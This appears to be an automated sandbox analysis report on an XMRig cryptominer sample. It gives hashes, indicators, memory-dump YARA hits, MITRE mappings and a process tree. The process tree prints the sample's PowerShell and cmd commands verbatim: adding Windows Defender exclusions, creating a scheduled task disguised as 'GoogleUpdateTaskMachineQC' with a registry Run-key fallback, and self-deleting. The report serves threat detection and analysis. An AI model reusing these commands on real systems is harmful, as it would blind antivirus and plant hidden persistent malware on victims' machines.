xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

Resubmissions

07/09/2023, 19:17

230907-xzr8qadd57 10

28/08/2023, 15:19

230828-sqlmcsca84 10

26/08/2023, 15:20

230826-sqx1dsdd2t 10

20/08/2023, 00:22

230820-an3hzscg53 10

Analysis

max time kernel
1800s
max time network
1788s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
28/08/2023, 15:19

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General

Target

qM5GMXBk6hJE6Y5e (4).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2912 created 1200	2912	qM5GMXBk6hJE6Y5e (4).exe	18
PID 2912 created 1200	2912	qM5GMXBk6hJE6Y5e (4).exe	18
PID 2912 created 1200	2912	qM5GMXBk6hJE6Y5e (4).exe	18
PID 2912 created 1200	2912	qM5GMXBk6hJE6Y5e (4).exe	18
PID 2760 created 1200	2760	updater.exe	18
PID 2760 created 1200	2760	updater.exe	18
PID 2760 created 1200	2760	updater.exe	18
PID 2760 created 1200	2760	updater.exe	18
PID 1952 created 1200	1952	conhost.exe	18
PID 2760 created 1200	2760	updater.exe	18

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral11/memory/2992-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-143-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-145-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2992-147-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2968	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2760	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2696	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2992-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-143-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-145-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2992-147-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2760 set thread context of 1952	2760	updater.exe	48
PID 2760 set thread context of 2992	2760	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (4).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2328	schtasks.exe
2148	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2904	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0ecd2f8d0d9d901	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2912	qM5GMXBk6hJE6Y5e (4).exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2560	powershell.exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2320	powershell.exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2912	qM5GMXBk6hJE6Y5e (4).exe
2912	qM5GMXBk6hJE6Y5e (4).exe
1960	powershell.exe
2760	updater.exe
2760	updater.exe
2308	powershell.exe
2760	updater.exe
2760	updater.exe
476	powershell.exe
2760	updater.exe
2760	updater.exe
2760	updater.exe
2760	updater.exe
1952	conhost.exe
1952	conhost.exe
2760	updater.exe
2760	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeDebugPrivilege	2308	powershell.exe
Token: SeDebugPrivilege	476	powershell.exe
Token: SeDebugPrivilege	2760	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2904	WMIC.exe
Token: SeSecurityPrivilege	2904	WMIC.exe
Token: SeTakeOwnershipPrivilege	2904	WMIC.exe
Token: SeLoadDriverPrivilege	2904	WMIC.exe
Token: SeSystemtimePrivilege	2904	WMIC.exe
Token: SeBackupPrivilege	2904	WMIC.exe
Token: SeRestorePrivilege	2904	WMIC.exe
Token: SeShutdownPrivilege	2904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2904	WMIC.exe
Token: SeUndockPrivilege	2904	WMIC.exe
Token: SeManageVolumePrivilege	2904	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2904	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2904	WMIC.exe
Token: SeSecurityPrivilege	2904	WMIC.exe
Token: SeTakeOwnershipPrivilege	2904	WMIC.exe
Token: SeLoadDriverPrivilege	2904	WMIC.exe
Token: SeSystemtimePrivilege	2904	WMIC.exe
Token: SeBackupPrivilege	2904	WMIC.exe
Token: SeRestorePrivilege	2904	WMIC.exe
Token: SeShutdownPrivilege	2904	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2904	WMIC.exe
Token: SeUndockPrivilege	2904	WMIC.exe
Token: SeManageVolumePrivilege	2904	WMIC.exe
Token: SeLockMemoryPrivilege	2992	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2328	2320	powershell.exe	34
PID 2320 wrote to memory of 2328	2320	powershell.exe	34
PID 2320 wrote to memory of 2328	2320	powershell.exe	34
PID 2968 wrote to memory of 2796	2968	cmd.exe	39
PID 2968 wrote to memory of 2796	2968	cmd.exe	39
PID 2968 wrote to memory of 2796	2968	cmd.exe	39
PID 1960 wrote to memory of 2852	1960	powershell.exe	40
PID 1960 wrote to memory of 2852	1960	powershell.exe	40
PID 1960 wrote to memory of 2852	1960	powershell.exe	40
PID 2696 wrote to memory of 2760	2696	taskeng.exe	42
PID 2696 wrote to memory of 2760	2696	taskeng.exe	42
PID 2696 wrote to memory of 2760	2696	taskeng.exe	42
PID 476 wrote to memory of 2148	476	powershell.exe	47
PID 476 wrote to memory of 2148	476	powershell.exe	47
PID 476 wrote to memory of 2148	476	powershell.exe	47
PID 2760 wrote to memory of 1952	2760	updater.exe	48
PID 1964 wrote to memory of 2904	1964	cmd.exe	53
PID 1964 wrote to memory of 2904	1964	cmd.exe	53
PID 1964 wrote to memory of 2904	1964	cmd.exe	53
PID 2760 wrote to memory of 2992	2760	updater.exe	55

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1200
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2328
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (4).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1960
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:476
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2148
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1952
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2904
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2672
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2992

C:\Windows\system32\taskeng.exe
taskeng.exe {FECA3D7E-B9B3-4B02-8446-210F02F8E531} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ccf30499c7fd7cf6ecbe631103167f91

SHA1
9f4c9b18f920996262ff42b292bb3489686bd02a

SHA256
9b8b21c69f5bb72f510dd5645589d98e45a3d49a40428d9875344fe485224e6b

SHA512
f8bd948dff98a392c5a8ea16c3e9c4b9a792611cc630877b47ea6944888cb184b12479f66d7ee32fc166f765efb678143a4c1b494a81fbfbb26cccd687b9241d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ccf30499c7fd7cf6ecbe631103167f91

SHA1
9f4c9b18f920996262ff42b292bb3489686bd02a

SHA256
9b8b21c69f5bb72f510dd5645589d98e45a3d49a40428d9875344fe485224e6b

SHA512
f8bd948dff98a392c5a8ea16c3e9c4b9a792611cc630877b47ea6944888cb184b12479f66d7ee32fc166f765efb678143a4c1b494a81fbfbb26cccd687b9241d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D86GQ7PVV14FO85UPMQ5.temp

Filesize
7KB

MD5
ccf30499c7fd7cf6ecbe631103167f91

SHA1
9f4c9b18f920996262ff42b292bb3489686bd02a

SHA256
9b8b21c69f5bb72f510dd5645589d98e45a3d49a40428d9875344fe485224e6b

SHA512
f8bd948dff98a392c5a8ea16c3e9c4b9a792611cc630877b47ea6944888cb184b12479f66d7ee32fc166f765efb678143a4c1b494a81fbfbb26cccd687b9241d

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
memory/476-59-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/476-58-0x00000000010B0000-0x0000000001130000-memory.dmp

Filesize
512KB

Download
memory/476-60-0x00000000010B0000-0x0000000001130000-memory.dmp

Filesize
512KB

Download
memory/476-56-0x00000000010B0000-0x0000000001130000-memory.dmp

Filesize
512KB

Download
memory/476-55-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/476-61-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/476-57-0x00000000010B0000-0x0000000001130000-memory.dmp

Filesize
512KB

Download
memory/1952-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1952-81-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1960-36-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1960-38-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1960-41-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1960-40-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1960-39-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/1960-45-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1960-37-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2308-47-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-52-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2308-51-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2308-50-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2308-48-0x0000000001140000-0x00000000011C0000-memory.dmp

Filesize
512KB

Download
memory/2308-49-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2308-53-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-28-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-21-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2320-19-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2320-22-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2320-27-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2320-20-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2320-25-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2320-24-0x0000000002540000-0x00000000025C0000-memory.dmp

Filesize
512KB

Download
memory/2320-23-0x000007FEF4F80000-0x000007FEF591D000-memory.dmp

Filesize
9.6MB

Download
memory/2560-10-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2560-7-0x0000000002530000-0x0000000002538000-memory.dmp

Filesize
32KB

Download
memory/2560-8-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2560-5-0x000000001B090000-0x000000001B372000-memory.dmp

Filesize
2.9MB

Download
memory/2560-13-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-12-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2560-11-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-9-0x00000000027C0000-0x0000000002840000-memory.dmp

Filesize
512KB

Download
memory/2560-6-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-65-0x000000013F540000-0x000000013F751000-memory.dmp

Filesize
2.1MB

Download
memory/2760-46-0x000000013F540000-0x000000013F751000-memory.dmp

Filesize
2.1MB

Download
memory/2760-69-0x000000013F540000-0x000000013F751000-memory.dmp

Filesize
2.1MB

Download
memory/2912-26-0x000000013F460000-0x000000013F671000-memory.dmp

Filesize
2.1MB

Download
memory/2912-0-0x000000013F460000-0x000000013F671000-memory.dmp

Filesize
2.1MB

Download
